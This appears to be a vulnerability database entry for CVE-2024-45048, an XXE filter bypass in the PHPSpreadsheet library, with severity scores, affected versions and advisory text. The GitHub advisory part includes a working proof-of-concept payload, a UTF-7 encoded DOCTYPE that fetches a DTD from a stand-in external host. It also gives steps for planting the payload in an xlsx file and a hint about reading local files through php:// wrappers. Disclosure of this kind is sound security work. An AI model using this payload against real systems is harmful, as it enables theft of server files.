CVE-2024-45048
JSON

8.8high

XML External Entity Reference (XXE) in PHPSpreadsheet

Severity
8.8high CVSS:3.1 by GitHub_M
Exploit likelihood
0.60% (higher than 50% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-ghg6-32f9-2jp7

Description

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.

Affected

Product or packageVersionsReported by
PHPOffice PhpSpreadsheet< 2.2.1, before 1.29.1, from 2.0.0 before 2.2.1CVE List, NVD
phpspreadsheet_project phpspreadsheetbefore 2.2.1CVE List
phpoffice/phpspreadsheet (Packagist)before 1.29.1, from 2.2.0 before 2.2.1, from 2.0.0 before 2.1.1GitHub Advisory Database
phpoffice/phpexcel (Packagist)up to 1.8.2GitHub Advisory Database

All scores

GitHub_M8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD6.5medium CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Classification

CWE-611

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.

What each source says

CVE List

PHPSpreadsheet is a pure PHP library for reading and writing spreadsheet files. Affected versions are subject to a bypassing of a filter which allows for an XXE-attack. This in turn allows attacker to obtain contents of local files, even if error reporting is muted. This vulnerability has been addressed in release version 2.2.1. All users are advised to upgrade. There are no known workarounds for this vulnerability.

GitHub Advisory Database
Summary

Bypassing the filter allows a XXE-attack. Which is turn allows attacker to obtain contents of local files, even if error reporting muted by @ symbol. (LFI-attack)

Details

Check $pattern = '/encoding="(.*?)"/'; easy to bypass. Just use a single quote symbol '. So payload looks like this:

<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://example.com/file.dtd"> %xxe;]>

If you add this header to any XML file into xlsx-formatted file, such as sharedStrings.xml file, then xxe will execute.

PoC
  1. Create simple xlsx file
  2. Rename xlsx to zip
  3. Go to the zip and open the xl/sharedStrings.xml file in edit mode.
  4. Replace <?xml version="1.0" encoding="UTF-8" standalone="yes"?> to
<?xml version="1.0" encoding='UTF-7' standalone="yes"?>
+ADw-!DOCTYPE xxe [+ADw-!ENTITY % xxe SYSTEM "http://%webhook%/file.dtd"> %xxe;]>
  1. Save sharedStrings.xml file and rename zip back to xlsx.
  2. Use minimal php code that simply opens this xlsx file:
use PhpOffice\PhpSpreadsheet\IOFactory;
require __DIR__ . '/vendor/autoload.php';
$spreadsheet = IOFactory::load("file.xlsx");
  1. You will receive the request to your http://%webhook%/file.dtd
  2. Dont't forget that you can use php-wrappers into xxe, some php:// wrapper payload allows fetch local files.
Impact

Read local files lfi

NVD (es)

PHPSpreadsheet es una librería PHP pura para leer y escribir archivos de hojas de cálculo. Las versiones afectadas están sujetas a la omisión de un filtro que permite un ataque XXE. Esto, a su vez, permite al atacante obtener el contenido de los archivos locales, incluso si el informe de errores está silenciado. Esta vulnerabilidad se ha solucionado en la versión 2.2.1. Se recomienda a todos los usuarios que actualicen. No se conocen workarounds para esta vulnerabilidad.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-45048 changed 2024-08-29CVE Terms of Use
GitHub Advisory DatabaseGHSA-ghg6-32f9-2jp7 changed 2025-03-06CC-BY-4.0
NVDCVE-2024-45048 changed 2026-06-17Public domain